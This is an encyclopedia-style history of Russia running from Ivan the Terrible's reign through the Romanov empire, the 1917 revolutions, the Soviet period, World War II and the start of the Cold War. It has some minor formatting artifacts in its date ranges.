          The development of the Tsar's autocratic powers reached a peak during the reign (15471584) of Ivan IV ("Ivan the Terrible"). He strengthened the position of the monarch to an unprecedented degree, as he ruthlessly subordinated the nobles to his will, exiling or executing many on the slightest provocation. Nevertheless, Ivan is often seen a farsighted statesman who reformed Russia as he promulgated a new code of laws ( Sudebnik of 1550), established the first Russian feudal representative body ( Zemsky Sobor), curbed the influence of clergy, and introduced the local self-management in rural regions,


          Although his long Livonian War for the control of the Baltic coast and the access to sea trade ultimately proved a costly failure, Ivan managed to annex the Khanates of Kazan, Astrakhan, and Siberia. These conquests complicated the migration of the aggressive nomadic hordes from Asia to Europe through Volga and Ural. Through these conquests, Russia acquired a significant Muslim Tatar population and emerged as a multiethnic and multiconfessional state. Also around this period, the mercantile Stroganov family established a firm foothold at the Urals and recruited Russian Cossacks to colonize Siberia.


          In the later part of his reign, Ivan divided his realm in two. In the zone known as the oprichnina, Ivan's followers carried out a series of bloody purges of the feudal aristocracy (which he suspected of treachery after the betrayal of prince Kurbsky), culminating in the Massacre of Novgorod (1570). This combined with the military losses, epidemics, poor harvests so weakened Russia that the Crimean Tatars were able to sack central Russian regions and burn down Moscow (1571). In 1572 Ivan abandoned the oprichnina.


          At the end of Ivan IV's reign the Polish-Lithuanian and Swedish armies carried out the powerful intervention into Russia, devastating its northern and northwest regions.


          


          Time of Troubles
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          The death of Ivan's childless son Feodor was followed by a period of civil wars and foreign intervention known as the " Time of Troubles" (160613). Extremely cold summers (1601-1603) wrecked crops, which led to the famine and increased the social disorganization. Boris Godunov's reign ended in chaos, civil war combined with foreign intrusion, devastation of many cities and depopulation of the rural regions. The country rocked by internal chaos also attracted several waves of interventions by Polish-Lithuanian Commonwealth. The invaders reached Moscow and installed, first, the impostor False Dmitriy I and, later, a Polish prince Władysław IV Vasa on the Russian throne. Moscow population revolted but the riots were brutally suppressed and the city was set on fire.


          The crisis provoked the patriotic national uprising against the invasion and in autumn, 1612, the volunteer army led by the merchant Kuzma Minin and prince Dmitry Pozharsky, expelled the foreign forces from the capital.


          The Russian statehood survived the "Time of Troubles" and the rule of weak or corrupt Tsars because of the strength of the government's central bureaucracy. Government functionaries continued to serve, regardless of the ruler's legitimacy or the faction controlling the throne. However, the " Time of Troubles" provoked by the dynastic crisis resulted in the loss of much territory to the Polish-Lithuanian Commonwealth in the the Russo-Polish war, as well as to Swedish Empire in the Ingrian War.


          


          The accession of Romanovs and early rule
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          In February, 1613, with the chaos ended and the Poles expelled from Moscow, a national assembly, composed of representatives from fifty cities and even some peasants, elected Michael Romanov, the young son of Patriarch Filaret, to the throne. The Romanov dynasty ruled Russia until 1917.


          The immediate task of the new dynasty was to restore peace. Fortunately for Moscow, its major enemies, the Polish-Lithuanian Commonwealth and Sweden, were engaged in a bitter conflict with each other, which provided Russia the opportunity to make peace with Sweden in 1617 and to sign a truce with the Polish-Lithuanian Commonwealth in 1619. Recovery of lost territories started in the mid-17th century, when the Khmelnitsky Uprising in Ukraine against the
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          Polish rule brought about the Treaty of Pereyaslav concluded between Russia and the Ukrainian Cossacks. According to the treaty, Russia granted protection to the Cossacks state in the Left-bank Ukraine, formerly under the Polish control. This triggered a prolonged Russo-Polish War which ended with the Treaty of Andrusovo (1667) were Poland accepted the loss of Left-bank Ukraine, Kiev and Smolensk.


          Rather than risk their estates in more civil war, the great nobles or boyars cooperated with the first Romanovs, enabling them to finish the work of bureaucratic centralization. Thus, the state required service from both the old and the new nobility, primarily in the military. In return the tsars allowed the boyars to complete the process of enserfing the peasants.


          In the preceding century, the state had gradually curtailed peasants' rights to move from one landlord to another. With the state now fully sanctioning serfdom, runaway peasants became state fugitives, and the power of the landlords over the peasants "attached" to their land have become almost complete. Together the state and the nobles placed the overwhelming burden of taxation on the peasants, whose rate was 100 times greater in the mid-17th century than it had been a century earlier. In addition, middle-class urban tradesmen and craftsmen were assessed taxes, and, like the serfs, they were forbidden to change residence. All segments of the population were subject to military levy and to special taxes.


          Under such circumstances, peasant disorders were endemic; even the citizens of Moscow revolted against the Romanovs during the Salt Riot (1648), Copper Riot (1662), and the Moscow Uprising (1682). By far the greatest peasant uprising in 17th century Europe erupted in 1667. As the free settlers of South Russia, the Cossacks, reacted against the growing centralization of the state, serfs escaped from their landlords and joined the rebels. The Cossack leader Stenka Razin led his followers up the Volga River, inciting peasant uprisings and replacing local governments with Cossack rule. The tsar's army finally crushed his forces in 1670; a year later Stenka was captured and beheaded. Yet, less than half a century later, the strains of military expeditions produced another revolt in Astrakhan, ultimately subdued.


          


          Imperial Russia


          


          Peter the Great
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          Peter I, the Great (16721725), consolidated autocracy in Russia and played a major role in bringing his country into the European state system. From its modest beginnings in the 14th century principality of Moscow, Russia had become the largest state in the world by Peter's time. Three times the size of continental Europe, it spanned the Eurasian landmass from the Baltic Sea to the Pacific Ocean. Much of its expansion had taken place in the 17th century, culminating in the first Russian settlement of the Pacific in the mid-17th century, the reconquest of Kiev, and the pacification of the Siberian tribes. However, this vast land had a population of only 14 million. Grain yields trailed behind those of agriculture in the West (that can be partly explained by the heavier climatic conditions, in particular long cold winters and short vegetative period ) compelling almost the entire population to farm. Only a small fraction of the population lived in the towns. Russia remained isolated from the sea trade, its internal trade communications and many manufactures were dependent on the seasonal changes.


          Peter's first military efforts were directed against the Ottoman Turks. His attention then turned to the north. Peter still lacked a secure northern seaport except at Archangel on the White Sea, whose harbour was frozen nine months a year. Access to the Baltic was blocked by Sweden, whose territory enclosed it on three sides. Peter's ambitions for a "window to the sea" led him in 1699 to make a secret alliance with the Polish-Lithuanian Commonwealth and Denmark against Sweden resulting in the Great Northern War. The war ended in 1721 when an exhausted Sweden sued for peace with Russia. Peter acquired four provinces situated south and east of the Gulf of Finland, thus securing his coveted access to the sea. There, in 1703, he had already founded the city that was to become Russia's new capital, Saint Petersburg, as a "window opened upon Europe" to replace Moscow, long Russia's cultural centre. Russian intervention in the Commonwealth marked, with the Silent Sejm, beginning of 200-year domination of that region by the Russian Empire. In celebration of his conquests, Peter assumed the title of emperor as well as tsar, and Russian Tzardom officially became the Russian Empire in 1721.
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          Peter reorganized his government on the latest Western models, molding Russia into an absolutist state. He replaced the old boyar Duma (council of nobles) with a nine-member senate, in effect a supreme council of state. The countryside was also divided into new provinces and districts. Peter told the senate that its mission was to collect tax revenues. In turn tax revenues tripled over the course of his reign. As part of the government reform, the Orthodox Church was partially incorporated into the country's administrative structure, in effect making it a tool of the state. Peter abolished the patriarchate and replaced it with a collective body, the Holy Synod, led by a lay government official. Meanwhile, all vestiges of local self-government were removed, and Peter continued and intensified his predecessors' requirement of state service for all nobles.


          Peter died in 1725, leaving an unsettled succession and an exhausted realm. His reign raised questions about Russia's backwardness, its relationship to the West, the appropriateness of reform from above, and other fundamental problems that have confronted many of Russia's subsequent rulers. Nevertheless, he had laid the foundations of a modern state in Russia.


          


          Ruling the Empire (17251825)
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          Nearly forty years were to pass before a comparably ambitious and ruthless ruler appeared on the Russian throne. Catherine II, the Great, was a German princess who married the German heir to the Russian crown. Finding him incompetent, Catherine tacitly consented to his murder. It was announced that he had died of " apoplexy", and in 1762 she became ruler.


          Catherine contributed to the resurgence of the Russian nobility that began after the death of Peter the Great. Mandatory state service had been abolished, and Catherine delighted the nobles further by turning over most government functions in the provinces to them.


          Catherine the Great extended Russian political control over the Polish-Lithuanian Commonwealth with actions including the support of the Targowica Confederation, although the cost of her campaigns, on top of the oppressive social system that required lords' serfs to spend almost all of their time laboring on the lords' land, provoked a major peasant uprising in 1773, after Catherine legalized the selling of serfs separate from land. Inspired by another Cossack named Pugachev, with the emphatic cry of "Hang all the landlords!" the rebels threatened to take Moscow before they were ruthlessly suppressed. Catherine had Pugachev drawn and quartered in Red Square, but the specter of revolution continued to haunt her and her successors.
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          Catherine successfully waged war against the decaying Ottoman Empire and advanced Russia's southern boundary to the Black Sea. Then, by allying with the rulers of Austria and Prussia, she incorporated the territories of the Polish-Lithuanian Commonwealth, where after a century of Russian rule non-Catholic mainly Orthodox population prevailed) during the Partitions of Poland, pushing the Russian frontier westward into Central Europe. By the time of her death in 1796, Catherine's expansionist policy had made Russia into a major European power. This continued with Alexander I's wresting of Finland from the weakened kingdom of Sweden in 1809 and of Bessarabia from the Ottomans in 1812.


          Napoleon made a major misstep when he declared war on Russia after a dispute with Tsar Alexander I and launched an invasion of Russia in 1812. The campaign was a catastrophe. In the bitterly cold Russian weather, thousands of French troops were ambushed and killed by peasant guerrilla fighters. As Napoleon's forces retreated, the Russian troops pursued them into Central and Western Europe and to the gates of Paris. After Russia and its allies defeated Napoleon, Alexander became known as the 'savior of Europe,' and he presided over the redrawing of the map of Europe at the Congress of Vienna (1815), which made Alexander the monarch of Congress Poland.


          Although the Russian Empire would play a leading political role in the next century, secured by its defeat of Napoleonic France, its retention of serfdom precluded economic progress of any significant degree. As West European economic growth accelerated during the Industrial Revolution, sea trade and exploitation of colonies which had begun in the second half of the 18th century, Russia began to lag ever farther behind, creating new problems for the empire as a great power.


          


          Imperial Russia following the Decembrist Revolt (18251917)


          


          Nicholas I and the Decembrist Revolt


          
            [image: The Decembrists at the Senate Square.]

            
              The Decembrists at the Senate Square.
            

          


          Russia's great power status obscured the inefficiency of its government, the isolation of its people, and its economic backwardness. Following the defeat of Napoleon, Alexander I was willing to discuss constitutional reforms, and though a few were introduced, no thoroughgoing changes were attempted.


          The tsar was succeeded by his younger brother, Nicholas I (18251855), who at the onset of his reign was confronted with an uprising. The background of this revolt lay in the Napoleonic Wars, when a number of well-educated Russian officers traveled in Europe in the course of the military campaigns, where their exposure to the liberalism of Western Europe encouraged them to seek change on their return to autocratic Russia. The result was the Decembrist Revolt (December 1825), the work of a small circle of liberal nobles and army officers who wanted to install Nicholas' brother as a constitutional monarch. But the revolt was easily crushed, leading Nicholas to turn away from the Westernization program begun by Peter the Great and champion the maxim " Autocracy, Orthodoxy, and Nationality."


          In the early decades of the 19th century, Russia expanded into South Caucasus and the highlands of the North Caucasus. In 1831 Nicholas crushed a major uprising in Congress Poland; it would be followed by another large-scale Polish and Lithuanian revolt in 1863.


          


          Ideological schisms and reaction


          
            [image: Mikhail Bakunin]

            
              Mikhail Bakunin
            

          


          In this setting Michael Bakunin would emerge as the father of anarchism. He left Russia in 1842 to Western Europe, where he became active in the socialist movement. After participating in the May Uprising in Dresden of 1849, he was imprisoned and shipped to Siberia, but eventually escaped and made his way back to Europe. There he practically joined forces with Karl Marx, despite significant ideological and tactical differences. Alternative social doctrines were elaborated by such Russian radicals as Alexander Herzen and Peter Kropotkin.


          The question of Russia's direction had been gaining steam ever since Peter the Great's program of Westernization. Some favored imitating Europe while others renounced the West and called for a return of the traditions of the past. The latter path was championed by Slavophiles, who heaped scorn on the "decadent" West. The Slavophiles were opponents of bureaucracy, preferred the collectivism of the medieval Russian mir, or village community, to the individualism of the West.


          


          Alexander II and the abolition of serfdom
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          Tsar Nicholas died with his philosophy in dispute. One year earlier, Russia had become involved in the Crimean War, a conflict fought primarily in the Crimean peninsula. Since playing a major role in the defeat of Napoleon, Russia had been regarded as militarily invincible, but, once pitted against a coalition of the great powers of Europe, the reverses it suffered on land and sea exposed the decay and weakness of Tsar Nicholas' regime.


          When Alexander II came to the throne in 1855, desire for reform was widespread. A growing humanitarian movement, which in later years has been likened to that of the abolitionists in the United States before the American Civil War, attacked serfdom. In 1859, there were 23 million serfs (total population of Russia 67.1 Million) living under conditions frequently worse than those of the peasants of Western Europe on 16th century manors. Alexander II made up his own mind to abolish serfdom from above rather than wait for it to be abolished from below through revolution.


          The emancipation of the serfs in 1861 was the single most important event in 19th century Russian history. It was the beginning of the end for the landed aristocracy's monopoly of power. Emancipation brought a supply of free labor to the cities, industry was stimulated, and the middle class grew in number and influence; however, instead of receiving their lands as a gift, the freed peasants had to pay a special tax for what amounted to their lifetime to the government, which in turn paid the landlords a generous price for the land that they had lost. In numerous instances the peasants wound up with the poorest land. All the land turned over to the peasants was owned collectively by the mir, the village community, which divided the land among the peasants and supervised the various holdings. Although serfdom was abolished, since its abolition was achieved on terms unfavorable to the peasants, revolutionary tensions were not abated, despite Alexander II's intentions.


          In the late 1870s Russia and the Ottoman Empire again clashed in the Balkans. The Russo-Turkish War was popular among Russians, who supported the independence of their fellow Orthodox Slavs, the Serbs and the Bulgarians. However, the war increased tension with Austria-Hungary, which also had ambitions in the region. During this period Russia expanded its empire into Central Asia, which was rich in raw materials, conquering the khanates of Kokand, Bokhara and Khiva. as well as the Trans-Caspian region.


          


          Nihilism


          In the 1860s a movement known as Nihilism developed in Russia. A term originally coined by Ivan Turgenev, in his novel "Fathers and Sons," Nihilism basically means the negation of human institutions and laws, based on the idea that such institutions and laws are artificial and corrupt. For some time many Russian liberals had been dissatisfied by what they regarded as the empty discussions of the intelligentsia. The Nihilists questioned all old values and shocked the Russian establishment.


          The Nihilists first attempted to convert the aristocracy to the cause of reform. Failing there, they turned to the peasants. Their "go to the people" v Narod campaign became known as the Narodnik movement, and was based upon the belief that the common people Narod possessed the wisdom and peaceful ability to lead the nation. .


          While the Narodnik movement was gaining momentum, the government quickly moved to extirpate it. In response to the growing reaction of the government, a radical branch of the Narodniks advocated and practiced terrorism. One after another, prominent officials were shot or killed by bombs. This represented the ascendancy of Anarchism as a powerful revolutionary force in Russia. Finally, after several attempts, Alexander II was assassinated by Anarchists in 1881, on the very day he had approved a proposal to call a representative assembly to consider new reforms in addition to the abolition of serfdom designed to ameliorate revolutionary demands.


          


          Autocracy and reaction under Alexander III


          Unlike his father, the new tsar Alexander III (18811894) was throughout his reign a staunch reactionary who revived the maxim of " Orthodoxy, Autocracy, and National Character". A committed Slavophile, Alexander III believed that Russia could be saved from chaos only by shutting itself off from the subversive influences of Western Europe. In his reign Russia concluded the union with republican France to contain the growing power of Germany, completed the conquest of Central Asia, and exacted important territorial and commercial concessions from China.
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          The tsar's most influential adviser was Konstantin Pobedonostsev, tutor to Alexander III and his son Nicholas, and procurator of the Holy Synod from 1880 to 1895. He taught his royal pupils to fear freedom of speech and press and to hate democracy, constitutions, and the parliamentary system. Under Pobedonostsev, revolutionaries were hunted down and a policy of Russification was carried out throughout the empire.


          


          Nicholas II and a new revolutionary movement
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          Alexander was succeeded by his son Nicholas II (18941917). The Industrial Revolution, which began to exert a significant influence in Russia, was meanwhile creating forces that would finally overthrow the tsar. Politically, these opposition forces organized into three competing parties: The liberal elements among the industrial capitalists and nobility, who believed in peaceful social reform and a constitutional monarchy, founded the Constitutional Democratic party or Kadets in 1905. Followers of the Narodnik tradition established the Socialist-Revolutionary Party or Esers in 1901, advocating the distribution of land among those who actually worked itthe peasants. A third and more radical group founded the Russian Social Democratic Labour Party or RDSLP in 1898; this party was the primary exponent of Marxism in Russia. Gathering their support from the radical intellectuals and the urban working class, they advocated complete social, economic and political revolution.
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          In 1903 the RDSLP split into two wings: the radical Bolsheviks, led by Lenin, and the relatively moderate Mensheviks, led by Lenin's former friend Yuli Martov. The Mensheviks believed that Russian socialism would grow gradually and peacefully and that the tsars regime should be succeeded by a democratic republic in which the socialists would cooperate with the liberal bourgeois parties. The Bolsheviks, under Vladimir Lenin, advocated the formation of a small elite of professional revolutionists, subject to strong party discipline, to act as the vanguard of the proletariat in order to seize power by force.


          The disastrous performance of the Russian armed forces in the Russo-Japanese War was a major blow to the Russian State and increased the potential for unrest. In January 1905, an incident known as " Bloody Sunday" occurred when Father Gapon led an enormous crowd to the Winter Palace in Saint Petersburg to present a petition to the tsar. When the procession reached the palace, Cossacks opened fire on the crowd, killing hundreds. The Russian masses were so aroused over the massacre that a general strike was declared demanding a democratic republic. This marked the beginning of the Russian Revolution of 1905. Soviets (councils of workers) appeared in most cities to direct revolutionary activity.


          In October 1905, Nicholas reluctantly issued the famous October Manifesto, which conceded the creation of a national Duma (legislature) to be called without delay. The right to vote was extended, and no law was to go into force without confirmation by the Duma. The moderate groups were satisfied; but the socialists rejected the concessions as insufficient and tried to organize new strikes. By the end of 1905, there was disunity among the reformers, and the tsar's position was strengthened for the time being.


          


          Russian Revolution
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          Bound by treaty, Tsar Nicholas II and his subjects entered World War I at the defense of Serbia. At the opening of hostilities in August of 1914, the Russians took the offensive against both Germany and Austria-Hungary in support of her French ally.


          Later, military failures and bureaucratic ineptitude soon turned large segments of the population against the government. Control of the Baltic Sea by the German fleet, and of the Black Sea by combined German and Ottoman forces prevented Russia from importing supplies and exporting goods.


          By the middle of 1915 the impact of the war was demoralizing. Food and fuel were in short supply, casualties kept occurring, and inflation was mounting. Strikes increased among low-paid factory workers, and the peasants, who wanted land reforms, were restless. Meanwhile, public distrust of the regime was deepened by reports that a semiliterate mystic, Grigory Rasputin, had great political influence within the government. His assassination in late 1916 ended the scandal but did not restore the autocracy's lost prestige.


          On March 3, 1917, a strike occurred in a factory in the capital Petrograd (formerly Saint Petersburg). On February 23 ( March 8) 1917, International Women's Day, thousands of women textile workers in Petrograd walked out of their factories protesting the lack of food and calling on other workers to join them. Within days, nearly all the workers in the city were idle, and street fighting broke out. When the tsar ordered the Duma to disband, ordered strikers to return to work, and ordered troops to shoot at demonstrators in the streets, his orders triggered the February Revolution, especially when soldiers openly sided with the strikers. On March 2 (15), Nicholas II abdicated. To fill the vacuum of authority, the Duma declared a Provisional Government, headed by Prince Lvov. Meanwhile, the socialists in Petrograd organized elections among workers and soldiers to form a soviet (council) of workers' and soldiers' deputies, as an organ of popular power that could pressure the "bourgeois" Provisional Government.


          In July, following a series of crises that undermined their authority with the public, the head of the Provisional Government resigned and was succeeded by Alexander Kerensky, who was more progressive than his predecessor but not radical enough for the Bolsheviks or many Russians discontented with the deepening economic crisis and the continuation of the war. While Kerensky's government marked time, the socialist-led soviet in Petrograd joined with soviets that formed throughout the country to create a national movement.


          Lenin returned to Russia from exile in Switzerland with the help of Germany, which hoped that widespread strife would cause Russia to withdraw from the war. After many behind-the-scenes maneuvers, the soviets seized control of the government in November 1917, and drove Kerensky and his moderate provisional government into exile, in the events that would become known as the October Revolution.


          When the national Constituent Assembly, elected in December 1917 and meeting in January 1918, refused to become a rubber-stamp of the Bolsheviks, it was dissolved by Lenin's troops. With the dissolution of the constituent assembly, all vestiges of bourgeois democracy were removed. With the handicap of the moderate opposition removed, Lenin was able to free his regime from the war problem by the harsh Treaty of Brest-Litovsk (1918) with Germany, in which Russia lost the territories of Finland, Estonia, Lithuania, Poland, the parts of the territories of Latvia and Belarus (line Riga-Dvinsk-Druia-Drisvyaty-Mikhalishki-Dzevalishki-Dokudova-r.Neman-r.Yelvyanka-Pruzhany-Vidoml), and the territories captured from the Ottoman Empire during World War I. On November, 13, 1918 the Soviet government cancelled the Treaty of Brest .


          


          Russian Civil War


          The Bolshevik grip on power was by no means secure and a lengthy struggle broke out between the new regime and its opponents, who included the Socialist Revolutionaries, right-wing "Whites" and large numbers of peasants. At the same time the Allied powers sent several expeditionary armies to support the anti-Communist forces in an attempt to force Russia to rejoin the world war. The Bolsheviks fought against these forces and against national independence movements in the former Russian Empire. By 1921, they had defeated their internal enemies and brought most of the newly independent states under their control, with the exception of Finland, the Baltic States, the Moldavian Democratic Republic (which joined Romania), and Poland (with whom they had fought the Polish-Soviet War). Finland also annexed the region Pechenga of the Russian Kola peninsula, Romania annexed Northern Bukovina; Soviet Russia and allied Soviet republics conceded the parts of its territory to Estonia ( Pechory and the right bank of Narva), Latvia ( Pytalovo) and Turkey ( Kars). Poland incorporated the contested territories of Western Belarus and Western Ukraine, the former parts of the Russian Empire (except Galicia) east to Curzon Line.


          


          Soviet Union
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          Creation of the Soviet Union


          The history of Russia between 1922 and 1991 is essentially the history of the Union of Soviet Socialist Republics or Soviet Union. This ideologically-based union, established in December 1922 by the leaders of the Russian Communist Party, was roughly coterminous with Russia before the Treaty of Brest-Litovsk. At that time, the new nation included four constituent republics: the Russian SFSR, the Ukrainian SSR, Belarusian SSR, and the Transcaucasian SFSR.


          The constitution, adopted in 1924, established a federal system of government based on a succession of soviets set up in villages, factories, and cities in larger regions. This pyramid of soviets in each constituent republic culminated in the All-Union Congress of Soviets. But while it appeared that the congress exercised sovereign power, this body was actually governed by the Communist Party, which in turn was controlled by the Politburo from Moscow, the capital of the Soviet Union, just as it had been under the tsars before Peter the Great.


          


          War Communism and the New Economic Policy


          The period from the consolidation of the Bolshevik Revolution in 1917 until 1921 is known as the period of war communism. Land, all industry and small businesses were nationalized and the money economy was restricted. Strong opposition soon developed. The peasants wanted cash payments for their products and resented having to surrender their surplus grain to the government as a part of its civil war policies. Confronted with peasant opposition, Lenin began a strategic retreat from war communism known as the New Economic Policy (NEP). The peasants were freed from wholesale levies of grain and allowed to sell their surplus produce in the open market. Commerce was stimulated by permitting private retail trading. The state continued to be responsible for banking, transportation, heavy industry, and public utilities.


          Although the left opposition among the Communists criticized the rich peasants or kulaks who benefited from the NEP, the program proved highly beneficial and the economy revived. The NEP would later come under increasing opposition from within the party following Lenin's death in early 1924.


          


          Changes in Russian society


          
            [image: The 1932 Soviet poster symbolizing the reform of "old ways of life" is dedicated to liberation of women from traditional role of the oppressed housekeeper. The text reads: "8th of March is the day of the rebellion of the working women against the kitchen slavery". "Say NO to the oppression and Babbittry of the household work!".]

            
              The 1932 Soviet poster symbolizing the reform of "old ways of life" is dedicated to liberation of women from traditional role of the oppressed housekeeper. The text reads: "8th of March is the day of the rebellion of the working women against the kitchen slavery". "Say NO to the oppression and Babbittry of the household work!".
            

          


          While the Russian economy was being transformed, the social life of the people underwent equally drastic changes. From the beginning of the revolution, the government attempted to weaken patriarchal domination of the family. Divorce no longer required court procedure; and to make women completely free of the responsibilities of childbearing, abortion was made legal as early as 1920. As a side effect, the emancipation of the women increased the labor market. Girls were encouraged to secure an education and pursue a career in the factory or the office. Communal nurseries were set up for the care of small children and efforts were made to shift the centre of people's social life from the home to educational and recreational groups, the soviet clubs.


          The regime abandoned the tsarist policy of discriminating against national minorities in favour of a policy of incorporating the more than two hundred minority groups into Soviet life. Another feature of the regime was the extension of medical services. Campaigns were carried out against typhus, cholera, and malaria; the number of doctors was increased as rapidly as facilities and training would permit; and infant mortality rates rapidly decreased while life expectancy rapidly increased.


          The government also promoted atheism and materialism, which formed the basis of Marxist theory. It opposed organized religion, especially in order to break the power of the Russian Orthodox Church, a former pillar of the old tsarist regime and a major barrier to social change. Many religious leaders were sent to internal exile camps. Members of the party were forbidden to attend religious services and the education system was separated from the Church. Religious teaching was prohibited except in the home and atheist instruction was stressed in the schools.


          


          Industrialization and collectivization


          The years from 1929 to 1939 comprised a tumultuous decade in Russian historya period of massive industrialization and internal struggles as Joseph Stalin established near total control over Russian society, wielding virtually unrestrained power. Following Lenin's death Stalin wrestled to gain control of the Soviet Union with rival factions in the Politburo, especially Leon Trotsky's. By 1928, with the Trotskyists either exiled or rendered powerless, Stalin was ready to put a radical program of industrialization into action.


          In 1928 Stalin proposed the First Five-Year Plan. Abolishing the NEP, it was the first of a number of plans aimed at swift accumulation of capital resources through the buildup of heavy industry, the collectivization of agriculture, and the restricted manufacture of consumer goods. For the first time in history a government controlled all economic activity.


          As a part of the plan, the government took control of agriculture through the state and collective farms ( kolkhozes). By a decree of February 1930, about one million individual peasants ( kulaks) were forced off their land. Many peasants strongly opposed regimentation by the state, often slaughtering their herds when faced with the loss of their land. In some sections they revolted, and countless peasants deemed "kulaks" by the authorities were executed. The combination of bad weather, deficiencies of the hastily-established collective farms, and massive confiscation of grain precipitated a serious famine, and several million peasants died of starvation, mostly in Ukraine and parts of southwestern Russia. The deteriorating conditions in the countryside drove millions of desperate peasants to the rapidly growing cities, fueling industrialization, and vastly increasing Russia's urban population in the space of just a few years.


          The plans received remarkable results in areas aside from agriculture. Russia, in many measures the poorest nation in Europe at the time of the Bolshevik Revolution, now industrialized at a phenomenal rate, far surpassing Germany's pace of industrialization in the nineteenth century and Japan's earlier in the twentieth century.


          While the Five-Year Plans were forging ahead, Stalin was establishing his personal power. The NKVD gathered in tens of thousands of Soviet citizens to face arrest, deportation, or execution. Of the six original members of the 1920 Politburo who survived Lenin, all were purged by Stalin. Old Bolsheviks who had been loyal comrades of Lenin, high officers in the Red Army, and directors of industry were liquidated in the Great Purges. Purges in other Soviet republics also helped centralize control in the USSR.


          Stalin's repressions led to the creation of a vast system of internal exile, of considerably greater dimensions than those set up in the past by the tsars. Draconian penalties were introduced and many citizens were prosecuted for fictitious crimes of sabotage and espionage. The labor provided by convicts working in the labor camps of the Gulag system became an important component of the industrialization effort, especially in Siberia. An estimated 18 million people passed through the Gulag system, and perhaps another 15 million had experience of some other form of forced labor.


          


          The Soviet Union on the international stage


          The Soviet Union viewed the 1933 accession of fervently anti-Communist Hitler's government to power in Germany with the great alarm from the onset, especially since Hitler proclaimed the Drang nach Osten as one of the major objectives in his vision of the German strategy of Lebensraum. The Soviets supported the republicans of Spain who struggled against the fascist German and Italian troops in the Spanish Civil War In 1938-1939, immediately prior to the WWII, the Soviet Union successfully fought against Imperial Japan in the Soviet-Japanese Border Wars in the Russian Far East, which led to the Soviet-Japanese neutrality and the tense border peace that lasted until August 1945.


          In 1938 Germany annexed Austria and, together with major Western European powers, signed the Munich Agreement following which Germany, Hungary and Poland divided the Czech territory between themselves. German plans the further eastward expansion as well as the lack of resolve from the Western powers to oppose it became more apparent. Despite Soviet Union strongly opposed the Munich deal and repeatedly reaffirmed its readiness to militarily back the Soviet commitments given earlier to Czechoslovakia, the Western Betrayal of Czechoslovakia reached over the Soviet opposition further increased fears in the Soviet Union of a coming German attack, which led the Soviet Union to rush the modernization of Soviet military industry and carry its own diplomatic maneuvers. In 1939 the Soviet Union signed the Non-aggression pact with Nazi Germany dividing spheres of influence between themselves in Eastern Europe. Following the agreement, the USSR normalized the relations with Nazi Germany and resumed the Soviet-German trade.


          


          World War II
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          On September 17, 1939, seventeen days after the start of World War II and victorious German advance deep into the Polish territory, the Red Army invaded eastern portions of Poland stating the protection of Ukrainians and Belarusians as their operation's primary goal and Poland's "seizure to exist" as the justification of the action. As a result, the Belarusian and Ukrainian Soviet republics' western borders were moved westward and the new Soviet western border was drawn close to the original Curzon line. In the meantime the negotiations with Finland about the Soviet-proposed land swap that would redraw the Soviet-Finnish border further away from Leningrad failed; and in December, 1939 the USSR started a campaign against Finland, known as the Winter War (193940). The war took a heavy death toll on the Red Army but forced Finland to sign a Moscow Peace Treaty and cede the Karelian Isthmus and Ladoga Karelia. In summer 1940 the USSR issued an ultimatum to Romania forcing it to cede the territories of Bessarabia and Northern Bukovina. At the same time, the Soviet Union also occupied the three formerly independent Baltic states (Estonia, Latvia and Lithuania).


          The peace with Germany was tense, as both sides were preparing for the military conflict, and abruptly ended when the Axis forces led by Germany swept across the Soviet border on June 22, 1941. By the autumn the German army had seized Ukraine, laid a siege of Leningrad, and threatened to capture the capital, Moscow, itself. Despite the fact that in December 1941 the Red Army threw off the German forces from Moscow in a successful counterattack, the Germans retained the strategic initiative for approximately another year and held a deep offensive in the south-eastern direction, reaching the Volga and the Caucasus. However, two major German defeats in Stalingrad and Kursk proved decisive and reversed the course of the entire World War as Germans never regained the strength to sustain their offensive operations and the Soviet Union recaptured the initiative for the rest of the conflict. By the end of 1943, the Red Army had broken through the German siege of Leningrad and liberated much of Ukraine, much of Western Russia and moved into Belarus. By the end of 1944, the front had moved beyond the 1939 Soviet frontiers into eastern Europe. Soviet forces drove into eastern Germany, capturing Berlin in May 1945. The war with Germany thus ended triumphantly for the Soviet Union.


          As agreed at the Yalta Conference, three months after the Victory Day in Europe the USSR launched the Operation August Storm defeating the Japanese troops in neighboring Manchuria, the last Soviet battle of World War II.


          Although the Soviet Union was victorious in World War II, the war resulted in around 2627 million Soviet deaths (estimates vary) and had devastated the Soviet economy in the struggle. Some 1,710 towns and 70 thousand settlements were destroyed. The occupied territories suffered from the ravages of German occupation and deportations of slave labor in Germany. Thirteen million Soviet citizens became victims of a repressive policy of Germans and their allies on an occupied territory, where died because of mass murders, famine, absence of elementary medical aid and slave labor. , . The Nazi Genocide of the Jews carried by German Einsatzgruppen, along the local collaborators resulted in almost complete annihilation of the Jewish population over the entire territory temporary occupied by Germany and its allies. , , , . During occupation, Russia's Leningrad, now Saint Petersburg, region lost around a quarter of its population . Soviet Belarus lost from a quarter to a third of its population. 3.6 million Soviet prisoners of war (of 5.5 million) died in German camps.


          


          Cold War


          Collaboration among the major Allies had won the war and was supposed to serve as the basis for postwar reconstruction and security. However, the conflict between Soviet and U.S. national interests, known as the Cold War, came to dominate the international stage in the postwar period.


          The Cold War emerged out of a conflict between Stalin and U.S. President Harry Truman over the future of Eastern Europe during the Potsdam Conference in the summer of 1945. Russia had suffered three devastating Western onslaughts in the previous 150 years during the Napoleonic Wars, the First World War, and the Second World War, and Stalin's goal was to establish a buffer zone of states between Germany and the Soviet Union. Truman charged that Stalin had betrayed the Yalta agreement. With Eastern Europe under Red Army occupation, Stalin was also biding his time, as his own atomic bomb project was steadily and secretly progressing.


          In April 1949 the United States sponsored the North Atlantic Treaty Organization (NATO), a mutual defense pact in which most Western nations pledged to treat an armed attack against one nation as an assault on all. The Soviet Union established an Eastern counterpart to NATO in 1955, dubbed the Warsaw Pact. The division of Europe into Western and Soviet blocks later took on a more global character, especially after 1949, when the U.S. nuclear monopoly ended with the testing of a Soviet bomb and the Communist takeover in China.


          The foremost objectives of Soviet foreign policy were the maintenance and enhancement of national security and the maintenance of hegemony over Eastern Europe. The Soviet Union maintained its dominance over the Warsaw Pact through crushing the 1956 Hungarian Revolution, suppressing the Prague Spring in Czechoslovakia in 1968, and supporting the suppression of the Solidarity movement in Poland in the early 1980s. The Soviet Union opposed the United States in a number of proxy conflicts all over the world, including Korean War and Vietnam War.


